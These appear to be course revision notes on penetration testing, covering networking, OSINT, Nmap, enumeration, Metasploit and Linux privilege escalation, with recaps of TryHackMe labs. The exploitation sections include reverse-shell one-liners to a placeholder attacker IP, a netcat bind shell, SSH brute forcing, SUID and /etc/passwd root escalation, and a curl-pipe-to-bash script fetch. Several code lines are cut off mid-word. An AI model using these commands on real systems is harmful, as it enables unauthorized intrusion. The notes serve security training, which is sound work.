CYBER MIND SPACE

🔥 MEGA REVISION DAY

Complete Practical Hacking Notes — From Networking to Exploitation

Networking | OSINT | Nmap | Pentesting | Metasploit | Privilege Escalation

📅 27 February 2026 | Revision Session

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MODULE 1

🌐 How The Internet Works

What is the Internet?

A global network of interconnected computers communicating using standardized protocols (TCP/IP).

- **Clients** → Your browser (requests data)
- **Servers** → Hosts websites (sends data)
- **DNS** → Translates domain names to IP addresses

How Data Travels

Your PC → Modem → ISP → IXP → Server

- Data is broken into **packets**
- Each packet takes the best route
- Reassembled at destination

🔑 Key Components

ISP
Internet Service Provider — gives you internet access (Jio, Airtel)

IXP
Internet Exchange Point — where ISPs connect to exchange traffic

DNS
Domain Name System — phonebook of the internet (domain → IP)

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MODULE 2

🔗 Networking Fundamentals

Network Types

Type	Full Form	Range	Example
LAN	Local Area Network	Small area (room/building)	Office network, Home WiFi
MAN	Metropolitan Area Network	City-wide	City-wide cable TV network
WAN	Wide Area Network	Country / Global	The Internet itself

Networking Devices

Hub vs Switch vs Router

Device	Layer	Intelligence
Hub	Layer 1 (Physical)	Dumb — broadcasts to ALL ports
Switch	Layer 2 (Data Link)	Smart — uses MAC address table
Router	Layer 3 (Network)	Smartest — routes between networks using IP

Modem & Firewall

- **Modem** → Modulates/Demodulates signals. Converts digital ↔ analog. Connects your LAN to ISP.
- **Firewall** → Security guard. Filters incoming/outgoing traffic based on rules. Can be hardware or software.

⚠️ **Attack:** Hubs are vulnerable to **sniffing** because they broadcast everything!

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MODULE 3

📍 IP Addressing — IPv4 & IPv6

IPv4

- **Format:** `192.168.1.1` (4 octets, dotted decimal)
- **Size:** 32 bits → ~4.3 billion addresses
- **Classes:** A (1-126), B (128-191), C (192-223)
- **Private Ranges:**

```
# Private IP Ranges (NOT routable on internet)
Class A: 10.0.0.0 – 10.255.255.255
Class B: 172.16.0.0 – 172.31.255.255
Class C: 192.168.0.0 – 192.168.255.255
```

IPv6

- **Format:** `2001:0db8:85a3::8a2e:0370:7334`
- **Size:** 128 bits → 340 undecillion addresses
- **No NAT needed** — every device gets a unique IP
- **Built-in IPSec** for security

Subnetting Quick Reference

```
# Subnetting Cheat Sheet
/24 = 255.255.255.0   = 256 IPs (254 usable)
/25 = 255.255.255.128 = 128 IPs (126 usable)
/26 = 255.255.255.192 = 64 IPs  (62 usable)
/27 = 255.255.255.224 = 32 IPs  (30 usable)
/28 = 255.255.255.240 = 16 IPs  (14 usable)
/30 = 255.255.255.252 = 4 IPs   (2 usable) – point-to-point links

# Formula: Hosts = 2^(32-prefix) - 2
# Example: /26 → 2^(32-26) = 2^6 = 64 - 2 = 62 usable hosts
```

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MODULE 4

📚 OSI Model — 7 Layers

#	Layer	Function	Protocol	Device
7	Application	User interface (browser, email)	HTTP, HTTPS, FTP, DNS, SMTP	—
6	Presentation	Encryption, compression, formatting	SSL/TLS, JPEG, ASCII	—
5	Session	Manages sessions/connections	NetBIOS, RPC	—
4	Transport	Reliable delivery, segmentation	TCP, UDP	—
3	Network	Logical addressing, routing	IP, ICMP, ARP	Router
2	Data Link	MAC addressing, framing	Ethernet, PPP	Switch
1	Physical	Bits on wire, cables, signals	USB, RJ45, WiFi signals	Hub, Cables

💡 **Remember:** "All People Seem To Need Data Processing" (Layer 7→1) or "Please Do Not Throw Sausage Pizza Away" (Layer 1→7)

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MODULE 5

🔄 TCP/IP Model

4 Layers of TCP/IP

TCP/IP Layer	OSI Equivalent	Protocols
Application	Layer 5, 6, 7	HTTP, FTP, DNS, SMTP, SSH
Transport	Layer 4	TCP, UDP
Internet	Layer 3	IP, ICMP, ARP
Network Access	Layer 1, 2	Ethernet, WiFi

TCP vs UDP

TCP	UDP
Connection-oriented (3-way handshake)	Connectionless
Reliable, ordered delivery	Fast, no guarantee
HTTP, SSH, FTP	DNS, DHCP, Video streaming

```
# TCP 3-Way Handshake
Client → SYN → Server
Client ← SYN-ACK ← Server
Client → ACK → Server
# Connection Established! ✅
```

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MODULE 6

⚔️ Attacks on OSI Layers

Layer	Attack	Description
L7 Application	SQL Injection, XSS, Phishing	Exploits web apps, user input
L6 Presentation	SSL Stripping, Phishing	Downgrade HTTPS → HTTP
L5 Session	Session Hijacking, Cookie theft	Steal active sessions
L4 Transport	SYN Flood, UDP Flood	DDoS — exhaust server resources
L3 Network	IP Spoofing, ICMP Flood, ARP Poisoning	Fake IPs, redirect traffic
L2 Data Link	MAC Flooding, VLAN Hopping, ARP Spoofing	Overflow switch MAC table
L1 Physical	Cable tapping, Jamming	Physical access attacks

Attacks on Networking Devices

Router Attacks

- Route poisoning
- Default credential login
- MITM via rogue router

Switch Attacks

- MAC Flooding
- VLAN Hopping
- STP Attack

Firewall Bypass

- Tunneling (DNS/HTTP)
- Fragmentation attacks
- Firewalking

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MODULE 7

🎯 Pentesting Fundamentals

What is Penetration Testing?

An **authorized simulated attack** on a system to find security vulnerabilities before malicious hackers do.

Rules of Engagement (ROE)

- **Scope** → What can/cannot be tested
- **Timeline** → When testing is allowed
- **Authorization** → Written permission (MUST HAVE)
- **Communication** → Who to contact if critical vuln found
- **Boundaries** → No DoS unless approved, no data exfiltration

🚨 **No ROE = No Pentest.** Always get WRITTEN authorization!

Pentesting Frameworks

- **OWASP** → Web application security (Top 10)
- **PTES** → Penetration Testing Execution Standard
- **OSSTMM** → Open Source Security Testing Methodology
- **NIST** → National Institute of Standards & Technology
- **MITRE ATT&CK** → Adversary tactics & techniques

Pentesting Methodology (5 Phases)

1. Recon → 2. Scanning → 3. Exploitation → 4. Post-Exploitation → 5. Reporting

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PHASE 1

🔍 Information Gathering (Recon)

Passive Recon

No direct contact with the target.

- Google Dorking
- WHOIS Lookup
- DNS records
- Social media analysis
- Shodan / Censys
- Wayback Machine
- Job postings (tech stack leaks)

```
# Google Dorking Examples
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
"target.com" ext:sql | ext:env | ext:log
```

Active Recon

Direct interaction with the target.

- Port scanning (Nmap)
- Banner grabbing
- Directory brute forcing
- Vulnerability scanning
- DNS Zone Transfer attempt

```
# Active Recon Commands
ping target.com
traceroute target.com
nslookup target.com
dig target.com ANY
nmap -sV target.com
```

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PHASE 1 — OSINT

🕵️ OSINT — Open Source Intelligence

🧑 OSINT for Individuals

Tool	Purpose
Sherlock	Find usernames across 300+ sites
PhoneInfoga	Phone number OSINT
theHarvester	Emails, subdomains, IPs
Maltego	Visual link analysis
Have I Been Pwned	Check breached emails
Pipl / ThatsThem	People search engines

```
# Sherlock Usage
python3 sherlock username123

# theHarvester
theHarvester -d target.com -b google,linkedin
```

🏢 OSINT for Companies

Tool / Source	Purpose
Shodan	Search internet-connected devices
Censys	Discover exposed assets
crt.sh	SSL certificate transparency logs
Sublist3r	Subdomain enumeration
LinkedIn	Employee info, tech stack
Wayback Machine	Historical website snapshots

```
# Sublist3r
sublist3r -d target.com

# crt.sh (browser)
https://crt.sh/?q=%25.target.com
```

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PHASE 2 — SCANNING

🛰️ Nmap — Network Mapper

Essential Nmap Commands

```
# Basic Scans
nmap <target>                      # Default scan (top 1000 ports)
nmap -sn 192.168.1.0/24            # Ping sweep (host discovery)
nmap -p- <target>                  # Scan ALL 65535 ports
nmap -p 80,443,22 <target>         # Scan specific ports
nmap -p 1-1000 <target>            # Scan port range

# Scan Types
nmap -sT <target>                  # TCP Connect scan (full handshake)
nmap -sS <target>                  # SYN scan (stealth/half-open) ⭐
nmap -sU <target>                  # UDP scan
nmap -sN <target>                  # NULL scan (no flags set)
nmap -sF <target>                  # FIN scan
nmap -sX <target>                  # XMAS scan (FIN+PSH+URG)

# Service & OS Detection
nmap -sV <target>                  # Service version detection ⭐
nmap -O <target>                   # OS detection
nmap -A <target>                   # Aggressive (OS + version + scripts + traceroute) ⭐

# NSE Scripts
nmap --script=vuln <target>        # Run vulnerability scripts
nmap --script=default <target>     # Run default scripts (same as -sC)
nmap -sC <target>                  # Default scripts ⭐

# Speed & Evasion
nmap -T0 <target>                  # Paranoid (IDS evasion)
nmap -T4 <target>                  # Aggressive speed ⭐
nmap -T5 <target>                  # Insane speed

# Output
nmap -oN scan.txt <target>         # Normal output
nmap -oX scan.xml <target>         # XML output
nmap -oG scan.gnmap <target>       # Grepable output
nmap -oA scan <target>             # All formats ⭐
```

⭐ **Go-To Command:** `nmap -sC -sV -T4 -oA scan <target>`

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PHASE 2 — ENUMERATION

📡 Service Enumeration

FTP Enumeration (Port 21)

```
# Check for anonymous login
ftp <target_ip>
Username: anonymous
Password: (blank)

# Nmap FTP scripts
nmap --script=ftp-anon,ftp-vsftpd-backdoor -p 21 <target>

# Download all files
wget -r ftp://anonymous@<target>/
```

SSH Enumeration (Port 22)

```
# Connect to SSH
ssh user@<target_ip>

# SSH with key
ssh -i id_rsa user@<target_ip>
chmod 600 id_rsa  # Fix permissions

# Brute force SSH
hydra -l admin -P rockyou.txt ssh://
```

HTTP Enumeration (Port 80/443)

```
# Directory brute forcing
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

# Nikto web scanner
nikto -h http://<target>

# Check robots.txt & sitemap.xml
curl http://<target>/robots.txt
```

SMB Enumeration (Port 445)

```
# List SMB shares
smbclient -L //<target> -N

# Connect to a share
smbclient //<target>/sharename -N

# Enum4linux
enum4linux -a <target>

# Nmap SMB scripts
nmap --script=smb-enum-shares,smb-vu
```

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LABS RECAP

🧪 TryHackMe Labs We Solved

🚩 Anonymous (FTP)

- Found FTP with **anonymous login** enabled
- Downloaded writable script from FTP
- Modified script to inject **reverse shell**
- Got initial shell → escalated privileges

🥒 Pickle Rick

- Found credentials in **page source** & **robots.txt**
- Accessed command panel
- Used command injection to read files
- Found all 3 ingredients (flags)

🤖 Mr. Robot

- Found `robots.txt` → dictionary file + key
- Used **Hydra** to brute-force WordPress login
- Uploaded PHP reverse shell via theme editor
- Cracked MD5 hash → privilege escalation via **SUID Nmap**

🔰 Basic Pentesting

- Enumerated SMB → found usernames
- Brute-forced SSH with **Hydra**
- Found SSH private key
- Cracked passphrase with **John the Ripper**
- Privilege escalation

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PHASE 3 — EXPLOITATION

💣 Metasploit Framework (msfconsole)

```
# Start Metasploit
msfconsole

# Search for exploits
msf6 > search vsftpd
msf6 > search type:exploit platform:linux smb
msf6 > search eternalblue

# Use an exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# Show options
msf6 exploit(...) > show options
msf6 exploit(...) > show payloads

# Set target & payload
msf6 exploit(...) > set RHOSTS <target_ip>
msf6 exploit(...) > set LHOST <your_ip>
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > set payload cmd/unix/interact

# Execute!
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
```

Key msfconsole Commands

Command	Action
`search`	Search exploits/modules
`use`	Select a module
`info`	Module details
`set / setg`	Set option / globally
`exploit / run`	Execute the exploit
`sessions`	List active sessions
`background`	Background current session

Common Metasploit Modules

- `exploit/unix/ftp/vsftpd_234_backdoor`
- `exploit/windows/smb/ms17_010_eternalblue`
- `exploit/multi/http/apache_mod_cgi_bash_env_exec` (Shellshock)
- `auxiliary/scanner/smb/smb_ms17_010`
- `post/multi/recon/local_exploit_suggester`

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EXPLOITATION

🐚 Reverse Shell vs Bind Shell

🔙 Reverse Shell

Target connects BACK to you.

✅ Bypasses firewalls (outbound traffic usually allowed)

```
# Step 1: Start listener on YOUR machine
nc -lvnp 4444

# Step 2: Execute on TARGET
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;
s=socket.socket();
s.connect(("YOUR_IP",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"])'

# PHP reverse shell (upload to webserver)
php -r '$s=fsockopen("YOUR_IP",4444);
exec("/bin/bash -i <&3 >&3 2>&3");'
```

🔗 Bind Shell

Target opens a port, YOU connect to it.

⚠️ Blocked by firewalls (inbound port must be open)

```
# Step 1: Execute on TARGET (opens port)
nc -lvnp 4444 -e /bin/bash

# Step 2: Connect FROM your machine
nc <target_ip> 4444
```

🔄 Stabilize Your Shell

```
# Upgrade to interactive shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
```

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POST-EXPLOITATION

👑 Linux Privilege Escalation

SUID Exploitation

```
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Check GTFOBins for exploit: https://gtfobins.github.io

# Example: SUID on /usr/bin/find
find . -exec /bin/bash -p \;

# Example: SUID on /usr/bin/python3
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'

# Example: SUID on nmap (interactive mode)
nmap --interactive
nmap> !sh
```

Other Privilege Escalation Methods

sudo -l

```
sudo -l
# Check what you can run as root
# Then check GTFOBins
```

Cron Jobs

```
cat /etc/crontab
ls -la /etc/cron.*
# Find writable scripts run as root
```

Writable /etc/passwd

```
ls -la /etc/passwd
# If writable, add a root us
openssl passwd -1 pass123
# Add: hacker:hash:0:0::/roo
```

More PrivEsc Vectors

- **Kernel Exploits** → `uname -a` → searchsploit
- **Capabilities** → `getcap -r / 2>/dev/null`
- **PATH Hijacking** → Writable PATH directories
- **NFS no_root_squash** → Mount & create SUID binary
- **Writable services** → Modify service config files

Auto Enumeration Tools

- **LinPEAS** → `curl https://linpeas.sh | bash`
- **LinEnum** → Automated Linux enumeration
- **linux-exploit-suggester** → Kernel exploit finder
- **pspy** → Monitor processes without root

💡 Always run **LinPEAS** first on any box!

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QUICK REFERENCE

📋 Ultimate Pentesting Cheat Sheet

🔍 Recon & Scanning

```
nmap -sC -sV -T4 -oA scan <ip>
gobuster dir -u http://<ip> -w common.txt
nikto -h http://<ip>
enum4linux -a <ip>
smbclient -L //<ip> -N
```

💣 Exploitation

```
msfconsole
msf > search <keyword>
msf > use <exploit_path>
msf > set RHOSTS <ip>
msf > exploit
nc -lvnp 4444  # listener
```

👑 Privilege Escalation

```
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
uname -a
getcap -r / 2>/dev/null
# gtfobins.github.io
```

🐚 Stabilize Shell

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```

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END

🎯 Now Go Practice!

Remember: Hacking is 80% recon, 20% exploitation.

TryHackMe | HackTheBox | OverTheWire | VulnHub

📚 Resources

GTFOBins → gtfobins.github.io | RevShells → revshells.com | PayloadsAllTheThings → GitHub

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